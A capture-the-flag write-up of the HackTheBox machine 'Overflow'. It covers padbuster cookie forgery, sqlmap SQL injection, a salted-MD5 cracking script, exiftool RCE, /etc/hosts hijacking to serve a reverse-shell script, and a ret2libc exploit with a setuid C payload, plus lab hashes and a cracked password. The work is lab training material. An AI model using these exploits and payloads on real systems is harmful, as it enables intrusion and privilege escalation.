Home Overflow - HackTheBox
Post
Cancel

Overflow - HackTheBox

Overflow is an amazing hard-rated box on HackTheBox. To gain a foothold on the box, you will need to exploit an oracle padding vulnerability to gain access to an admin dashboard that’s vulnerable to SQL injection, use the SQL injection to retrieve and crack a hash for another domain, which is vulnerable to an exiftool RCE.

There are two local users on the box; one accessible through password reuse, and the other due to a write privilege on an important system file. For privesc, you will be exploiting a classic buffer overflow on a custom binary with a non-excutable (NX) stack.


Info




Recon


NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# Nmap 7.70 scan initiated Thu Feb  3 03:04:42 2022 as: nmap -sC -sV -o nmap.txt -v overflow.htb
Nmap scan report for overflow.htb (10.10.11.119)
Host is up (0.23s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 eb:7c:15:8f:f2:cc:d4:26:54:c1:e1:57:0d:d5:b6:7c (RSA)
|   256 d9:5d:22:85:03:de:ad:a0:df:b0:c3:00:aa:87:e8:9c (ECDSA)
|_  256 fa:ec:32:f9:47:17:60:7e:e0:ba:b6:d1:77:fb:07:7b (ED25519)
25/tcp open  smtp    Postfix smtpd
|_smtp-commands: overflow, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, 
| ssl-cert: Subject: commonName=overflow
| Subject Alternative Name: DNS:overflow
| Issuer: commonName=overflow
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-17T10:41:37
| Not valid after:  2031-05-15T10:41:37
| MD5:   9bec 0c24 e822 f27b 0e0b be7a 1e42 90ca
|_SHA-1: 4423 a65c ca82 e166 4a7e 1416 d759 111b 36b3 e532
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host:  overflow; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  3 03:05:45 2022 -- 1 IP address (1 host up) scanned in 62.96 seconds


Web


There is a contact form at the bottom of the page;

Filling and submitting the form generated a GET request to the site’s homepage without any of the parameters, so this is probably just another broken form as commonly seen in HTB boxes.

There is a login page linked at the top of the homepage;

This is submitted in a simple POST request with no tokens;

Using the registration page, I was able to create an account and login to the site;

There is nothing of much interest in the site even after login. The blog page linked to from the homepage after login has a few entries, but only the title seems valid. All the links are dead. The titles are: Outdated Softwares, Buffer Overflows, Insecure File Uploads, and SQL Truncation Attacks. This feels like a teaser for what’s about to come.

Looking more closely at the homepage, I noticed a possible username ajmal;

I tested if this username existed in the website, and it didn’t because I was able to create an account with it. However, the user admin may exist in the server because I was unable to register an account with it.

Fuzzing the site for hidden subdomains didn’t yield any;


SMTP


nmap scan on the host showed that SMTP is running on port 25, and that the vrfy command is available, which could be used to enumerate valid users. The command showed that the user root exists on the host;

Using smtp-user-enum, the following users were enumerated;

  • www-data
  • root
  • postfix
  • daemon
  • MAILER-DAEMON
  • list
  • news
  • nobody
  • mail
  • postmaster.

These are all default user accounts, so nothing interesting.

Using netcat, I was able to send an email to the root user without any issues;



Oracle Padding


I was convinced the titles of the blog entries are some sort of hints for solving this box. The only one that applies to the website at this stage is the SQL Truncation attack, so I decided to probe the account registration and login functions, since they are the only ways that let me send some data that is actually processed by the web application.

Fuzzing the login parameters username and password for SQL-related attacks didn’t give me anything. However, the session cookie auth that is issued after authentication looks interesting because it looks like a URL encoded base64 string;

URL-decoding and base64-decoding this, I get some string that appears to be encrypted. So I started fuzzing it manually through burp’s repeater.

When adding a single character to the end of the cookie string, which could be anything, I was able to access the /home/profile/ page which is protected by authentication. If I add more than one character at the end of the cookie, I get a 302 redirect to the login page with the parameter err=1;

Going to the URL, I got an interesting message;

It was at this point that I actually realised the web application is vulnerable to Execute After Redirect (EAR) vulnerability because the page is actually returned when making a request without the session cookie;

Going back to the cookie, I noticed that adding anything to the begining of the cookie result in an error, with exception of few characters like ', ", or +.

I dumped the request to a text file and gave it to sqlmap, but it couldn’t find anything. Testing for SQL truncation attack in the registration function with the aim of creating another account with the username admin (which seems to be already registered) didn’t work.

I continue to fuzz the website for hidden paths in hope of finding one I can access due to the EAR flaw. Fuzzing the web root, I found the directory config;

Fuzzing that directory, I got a few hits;

All are just PHP pages, and didn’t give me anything. Bruteforcing the /home page found a new path /home/logs.php;

Going to the page, I got an Unauthorized message. I get this unauthorized message even after logging in with my test account, so this page is probably only accessible by the admin.

I was stuck on this for a while, and had to take a sanity check regarding the padding error I was getting when playing with the auth cookie. I was introduced to Oracle Padding attacks, which is something I’ve never heard before :(

After reading up on such attacks at https://blog.gdssecurity.com/labs/2010/9/14/automated-padding-oracle-attacks-with-padbuster.html and some other sites, I was able to decode the cookie issued to my test account using a tool called padbuster that automate this process.

To use padbuster, you need to at least supply the target URL, the encrypted string, and the block size. The url in this case is any page that process the cookie, so I chose /home/profile/. The encrypted string is the cookie value I got after login, and the block size is 8 since the base64-decoded cookie always gives 24 characters, which is a multiple of 8.

With this info, I was able to decrypt the cookie I was issued using the command;

1
$ padbuster http://overflow.htb/home/profile/ 6Z6ZTuDzahDyKTS9eEOqd47obCHki8m9 8 -cookies "auth=6Z6ZTuDzahDyKTS9eEOqd47obCHki8m9"

It took quite a while, but it worked;

Using the command, I was able to craft a cookie with user=admin;

1
padbuster http://overflow.htb/home/profile/ RhNgaMySdgdBgb3N7iuvOM25sELhCZ72 8 -cookies "auth=RhNgaMySdgdBgb3N7iuvOM25sELhCZ72" -plaintext "user=admin" -verbose

Loading the homepage using this cookie, I noticed two new links in the homepage;

Clicking on Logs just gave me a little popup;

Clicking the Admin panel, I was presented with a login form;

Trying some common defaults for the login didn’t work. Checking burp to see how the /home/logs.php works, I noticed that it passes a GET parameter name with the value set to admin. Adding a single quote to test for SQL Injection gave a 500 Internal Server Error. So I dumped the request to a text file and gave it to sqlmap, and it turns out to be vulnerable;



SQL Injection


Available databases;

1
2
3
4
[*] cmsmsdb
[*] information_schema
[*] logs
[*] Overflow

Tables for cmsmsdb;

1
2
3
4
5
6
7
8
9
10
11
12
13
Database: cmsmsdb
[47 tables]
+-----------------------------+
| cms_additional_users        |
---[snip]---
| cms_user_groups             |
| cms_userplugins             |
| cms_userplugins_seq         |
| cms_userprefs               |
| cms_users                   |
| cms_users_seq               |
| cms_version                 |
+-----------------------------+

The table cms_users contains two hashes;

EMAIL USERNAME PASSWORD
admin@overflow.htb admin c6c6b9310e0e6f3eb3ffeb2baff12fdd
  editor e3d748d58b58657bfa4dffe2def0b1c7

Feeding these 2 hashes to john, I was unable to crack any using rockyou.txt. This is probably just a rabbit hole, or the hashes could be salted. So I tried using the --file-read flag of sqlmap to see if I can read local files, and I couldn’t.

I dumped the whole database using sqlmap and start going through the records locally in hope of finding something. Searching for the domain name in the records dumped by sqlmap, I found one;

Going to the page, I got another login form;

After a lot of digging, I found a hex-encoded string that could be a salt in the table cms_siteprefs(mask is another name for a salt);

I was unable to get john to work with the hash, so I wrote a simple script;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python

import sys
import os
from hashlib import md5


if len(sys.argv) < 4:
  print("[-] Usage: %s <hash> <salt> <wordlist>" %(sys.argv[0]))
  exit(1)

wordlist = sys.argv[3]
if not os.path.exists(wordlist):
  print("[-] Invalid wordlist: " + wordlist)
  exit(2)

wordlist = open(wordlist, "rb")
print("[*] Bruteforcing hash...");
hash = sys.argv[1]
salt = sys.argv[2]

while True:
  word = wordlist.readline()
  if not word: # Wordlist exhausted.
    break
  word = word.strip()
  if md5(salt + word).hexdigest() == hash:
    print("[+] Success: " + word)
    exit(0)

print("[-] Unable to crack!")
exit(2)

I saved the above as md5-salt-brute.py, and ran it. I was able to crack the hash of the user editor;

1
2
3
4
5
6
7
8
9
10
11
agent47@debian:$ cat hashes.john    
admin:c6c6b9310e0e6f3eb3ffeb2baff12fdd   
editor:e3d748d58b58657bfa4dffe2def0b1c7
admin(overflow):c71d60439ed5590b3c5e99d95ed48165
agent47@debian:$ ./md5-salt-brute.py c6c6b9310e0e6f3eb3ffeb2baff12fdd 6c2d17f37e226486 /wordlists/rockyou.txt                                
[*] Bruteforcing hash...                   
[-] Unable to crack!                
agent47@debian:$ ./md5-salt-brute.py e3d748d58b58657bfa4dffe2def0b1c7 6c2d17f37e226486 /wordlists/rockyou.txt                                
[*] Bruteforcing hash...        
[+] Success: alpha!@#$%bravo                 
agent47@debian:$

This is the only hash I could crack, but it gave me access to devbuild-job.overflow.htb;



devbuild-job.overflow.htb


Almost all the links in the dashboard are dead. The profile page has a form that allows users to upload a resume;

Uploading a .png file, which is not part of the listed formats, gave a File Type Not supported error that appeared only briefly.

Playing with the request in burp’s repeater, I found out the web application may be depending on the file extension for validation, as changing the upload file name of a .png file succeeded, and showed what looks like an output of exiftool, along with the path the files are uploaded to;

Exiftool has an RCE vulnerability tracked as CVE-2021-22204, and there is a PoC in the GitHub repo https://github.com/convisolabs/CVE-2021-22204-exiftool. Using it, I was able to spawn a shell on the box as www-data;



User


Inside the box as www-data, I found two local users; developer, and tester. The user tester is the one that hold the user flag. The configuration files of the site devbuild-job.overflow.htb has a MySQL credential;

The password is not reused by any of the local users. The main site overflow.htb also has a MySQL credential;

Testing this password against the local user account of developer worked, and I was able to login over SSH;


Developer


The user does not have any sudo permissions, but they belong to a group called network. Searching for files that belong to this group, I got one very interesting match;

I have write permissions on a very important file. If I can find any service that’s making some requests to a hostname, I can edit the /etc/hosts file so that the hostname resolves to an address I control.

So I uploaded pspy to the box, and it picked up a download using curl for a shell script on the site taskmanage.overflow.htb;

So I created a file named task.sh with a reverse shell payload on my box, and hosted it using python’s http.server module. I then edited the /etc/hosts file on the box and mapped the domain taskmanage.overflow.htb to my IP;

After a few seconds, the file was downloaded from my attack box, and executed, which gave me access to the box as tester;



PrivEsc


I cannot view sudo permission for the user tester as I still don’t have their password, and the user does not belong to any other group.

Going through the filesystem, I found a SUID binary at /opt/file_encrypt;

Running the binary, I was prompted for a PIN;

So I shipped the binary to my attack box for analysis.


Analysis: file_encrypt


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
agent47@debian:$ rabin2 -I file_encrypt 
arch     x86
baddr    0x0
binsz    10741
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
nx       true
os       linux
pic      true
relocs   true
relro    full
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

The main function is calling check_pin(), which is likely the function doing PIN validation;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[0x00000b62]> pdf
╭ 46: int main (char **argv);
│           ; arg char **argv @ esp+0x14
│           0x00000b62      8d4c2404       lea ecx, [argv]
│           0x00000b66      83e4f0         and esp, 0xfffffff0
│           0x00000b69      ff71fc         push dword [ecx - 4]
│           0x00000b6c      55             push ebp
│           0x00000b6d      89e5           mov ebp, esp
│           0x00000b6f      51             push ecx
│           0x00000b70      83ec04         sub esp, 4
│           0x00000b73      e818000000     call sym.__x86.get_pc_thunk.ax
│           0x00000b78      0528240000     add eax, 0x2428
│           0x00000b7d      e82effffff     call sym.check_pin
│           0x00000b82      b800000000     mov eax, 0
│           0x00000b87      83c404         add esp, 4
│           0x00000b8a      59             pop ecx
│           0x00000b8b      5d             pop ebp
│           0x00000b8c      8d61fc         lea esp, [ecx - 4]
╰           0x00000b8f      c3             ret
[0x00000b62]>

Disassembly of sym.check_pin;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
[0x56602ab0]> pdf                                                                                                                     
            ; CALL XREF from main @ 0x56602b7d
╭ 178: sym.check_pin ();
│           ; var int32_t var_28h @ ebp-0x28
│           ; var int32_t var_14h @ ebp-0x14                                                                                          
│           ; var uint32_t var_10h @ ebp-0x10                                                                                         
│           ; var int32_t var_ch @ ebp-0xc
│           ; var int32_t var_4h @ ebp-0x4
│           0x56602ab0      55             push ebp
│           0x56602ab1      89e5           mov ebp, esp
│           0x56602ab3      53             push ebx
│           0x56602ab4      83ec24         sub esp, 0x24                                                                              
│           0x56602ab7      e864fcffff     call sym.__x86.get_pc_thunk.bx                                                             
│           0x56602abc      81c3e4240000   add ebx, 0x24e4
│           0x56602ac2      e8e9fbffff     call sym.imp.rand           ; int rand(void)                                               
│           0x56602ac7      8945f4         mov dword [ebp - 0xc], eax                                                                 
│           0x56602aca      83ec0c         sub esp, 0xc                                                                               
│           0x56602acd      ff75f4         push dword [ebp - 0xc]                                                                     
│           0x56602ad0      e848fdffff     call sym.random             ; uint32_t random(void)                                        
│           0x56602ad5      83c410         add esp, 0x10
│           0x56602ad8      8945f0         mov dword [ebp - 0x10], eax                                                                
│           0x56602adb      83ec08         sub esp, 8
│           0x56602ade      ff75f4         push dword [ebp - 0xc]
│           0x56602ae1      8d8358ddffff   lea eax, [ebx - 0x22a8]                                                                    
│           0x56602ae7      50             push eax                    ; const char *format                                           
│           0x56602ae8      e8f3faffff     call sym.imp.printf         ; int printf(const char *format)                               
│           0x56602aed      83c410         add esp, 0x10
│           0x56602af0      83ec08         sub esp, 8
│           0x56602af3      8d45ec         lea eax, [ebp - 0x14]
│           0x56602af6      50             push eax
│           0x56602af7      8d837dddffff   lea eax, [ebx - 0x2283]
│           0x56602afd      50             push eax                    ; const char *format
│           0x56602afe      e8bdfbffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│           0x56602b03      83c410         add esp, 0x10
│           0x56602b06      8b45ec         mov eax, dword [ebp - 0x14]
│           0x56602b09      3945f0         cmp dword [ebp - 0x10], eax
│       ╭─< 0x56602b0c      753c           jne 0x56602b4a
│       │   0x56602b0e      83ec0c         sub esp, 0xc
│       │   0x56602b11      8d8380ddffff   lea eax, [ebx - 0x2280]
│       │   0x56602b17      50             push eax                    ; const char *format
│       │   0x56602b18      e8c3faffff     call sym.imp.printf         ; int printf(const char *format)
│       │   0x56602b1d      83c410         add esp, 0x10
│       │   0x56602b20      83ec08         sub esp, 8
│       │   0x56602b23      8d45d8         lea eax, [ebp - 0x28]
│       │   0x56602b26      50             push eax
│       │   0x56602b27      8d83c3dcffff   lea eax, [ebx - 0x233d]
│       │   0x56602b2d      50             push eax                    ; const char *format
│       │   0x56602b2e      e88dfbffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│       │   0x56602b33      83c410         add esp, 0x10
│       │   0x56602b36      83ec0c         sub esp, 0xc
│       │   0x56602b39      8d8388ddffff   lea eax, [ebx - 0x2278]
│       │   0x56602b3f      50             push eax                    ; const char *s
│       │   0x56602b40      e8fbfaffff     call sym.imp.puts           ; int puts(const char *s)
│       │   0x56602b45      83c410         add esp, 0x10
│      ╭──< 0x56602b48      eb12           jmp 0x56602b5c
│      ││   ; CODE XREF from sym.check_pin @ 0x56602b0c
│      │╰─> 0x56602b4a      83ec0c         sub esp, 0xc
│      │    0x56602b4d      8d83e3ddffff   lea eax, [ebx - 0x221d]
│      │    0x56602b53      50             push eax                    ; const char *s
│      │    0x56602b54      e8e7faffff     call sym.imp.puts           ; int puts(const char *s)
│      │    0x56602b59      83c410         add esp, 0x10
│      │    ; CODE XREF from sym.check_pin @ 0x56602b48
│      ╰──> 0x56602b5c      90             nop
│           0x56602b5d      8b5dfc         mov ebx, dword [ebp - 4]
│           0x56602b60      c9             leave
╰           0x56602b61      c3             ret
[0x56602ab0]>

There are multiple calls to scanf(), which is used to read input from the user. So I opened the binary in debug mode and set a breakpoint after the first call to scanf() at 0x56635b03. The instruction at 0x56635b09 compares the value of eax (which is where the PIN we entered is stored), with the value in var_10h (ebp - 0x10);

Since the comparison is with eax, which is a 32 bit register, I read 4 bytes from the other operand, which gave 0xf3e6d338. Converting this to 32 bit signed integer, I got -202976456;

This value is the valid PIN, and it was accepted by the binary;

After that, we were prompted for a name, and the program printed out a message, and then exit. The way the program reads the name could be vulnerable to buffer overflow. The name read is stored at var_28h (ebp - 0x28);

A memory address in x86 is 32 bit. Since the destination address is 40 bytes (0x28) bytes away from the base of the stack frame (EBP), we will be able to overwrite the saved EBP of main() (the caller) after writing 40 bytes, and the EIP after 44 bytes. Testing this in gdb, it worked as expected. The binary is vulnerable to buffer overflow attack;

And it gets better too, because ASLR is disabled on the box;


Exploitation: ret2libc


The binary has a non-executable stack (NX/DEP), so this won’t be as simple as loading shellcode into the stack, and jumping to it. An exploitation technique that can be used to get around this is return to libc (ret2libc) attack. This attack works by overwriting the EIP with the address of a function in the libc library (like system or execv), and passing it an argument we control (like the address of /bin/sh string in the libc library). This works because no code is executed on the stack.

To exploit this, I need to write 44 bytes of padding, followed by the address of execv() to overwrite the EIP. followed by the address of exit() which will be the return address for clean exit, and then followed by the address of a string containing the full path of the binary I wished to execute. I used execv() because unlike system(), it does not drop privileges when spawning a new process.

The first step is figuring out the address of execv(), exit(), and the environment variable PAYLOAD (which I set to the path of my reverse shell). For this, I wrote a simple C program;

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(){

  printf("Addr of system():   0x%08x\n", &execv);
  printf("Addr of exit():     0x%08x\n", &exit);
  printf("Addr of $PAYLOAD:   0x%08x\n", getenv("PAYLOAD"));
  
  return 0;
}

Notice how the address of $PAYLOAD changes based on the length of the filename;

We need to account for this when calling the binary at /opt/file_encrypt/file_encrypt. Since it is 30 characters long, I renamed the address dumper to /dev/shm/dump_addrssssssssssss. This will give me the correct address of $PAYLOAD when calling /opt/file_encrypt/file_encrypt. We now have our valid addresses;

Using python, I built a simple ret2libc payload;

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python2

import struct

buffer = "A" * 44

execv = struct.pack("I", 0xf7ea8730)
exit = struct.pack("I", 0xf7e194b0)
payload = struct.pack("I", 0xffffdf44)

print "-202976456" + "\n" + buffer + execv + exit + payload

I generated the buffer and saved it in my web directory;

On the remote host, I set PAYLOAD to /dev/shm/payload, where payload is a shell script containing a simple bash reverse shell. The exploit worked, but I got a shell as my current user. The privileges were dropped;

So I wrote a simple C payload that will elevate to higher privileges using setuid() and setgid() before calling my reverse shell;

#include <unistd.h>
#include <stdlib.h>

int main(){

  setuid(0);
  setgid(0);
  char *args[] = {"revshell.sh", NULL};
  execv("/dev/shm/revshell.sh", args);
  return 0;
}

I compiled and pushed the program to /dev/shm/payload, which is the value in my $PAYLOAD variable. Running the exploit again, I got a shell on the box as root;



Summary


  • Discovered port 22, 25, and 80 using nmap
  • Found an open signup on the website, and created a test account.
  • Identified a possible username admin that exist on the website.
  • Used Oracle Padding attack to craft a cookie that gave access to the account of admin
    • Found an SQL injection vulnerability in /home/logs.php
    • Used sqlmap to dump some hashes, and discovered the domain devbuild-job.overflow.htb
    • Gained access to the domain by cracking the salted hash of the user editor
  • devbuild-job.overflow.htb
    • Found a file upload form that is passed to exiftool.
    • Exploited CVE-2021-22204 to gain code execution as www-data
  • Inside as www-data
    • Found 2 local users; developer, and tester (holds user.txt)
    • Recovered MySQL credentials in config files of devbuild-job.overflow.htb domain.
    • Gained access to account of developer due to password reuse.
  • Inside as developer
    • Identified a write access to /etc/hosts
    • pspy showed requests to http://taskmanage.overflow.htb/task.sh, which I hijacked by editing the /etc/hosts file to gain code execution as tester
  • Inside as tester
    • Found a SUID binary at /opt/file_encrypt/file_encrypt
    • Binary is protected by a PIN.
    • Reversed the binary using radare2 to extract the PIN.
    • Identified a buffer overflow vulnerability in the binary.
    • Performed a ret2libc attack to gain code execution as root
This post is licensed under CC BY 4.0 by the author.
Contents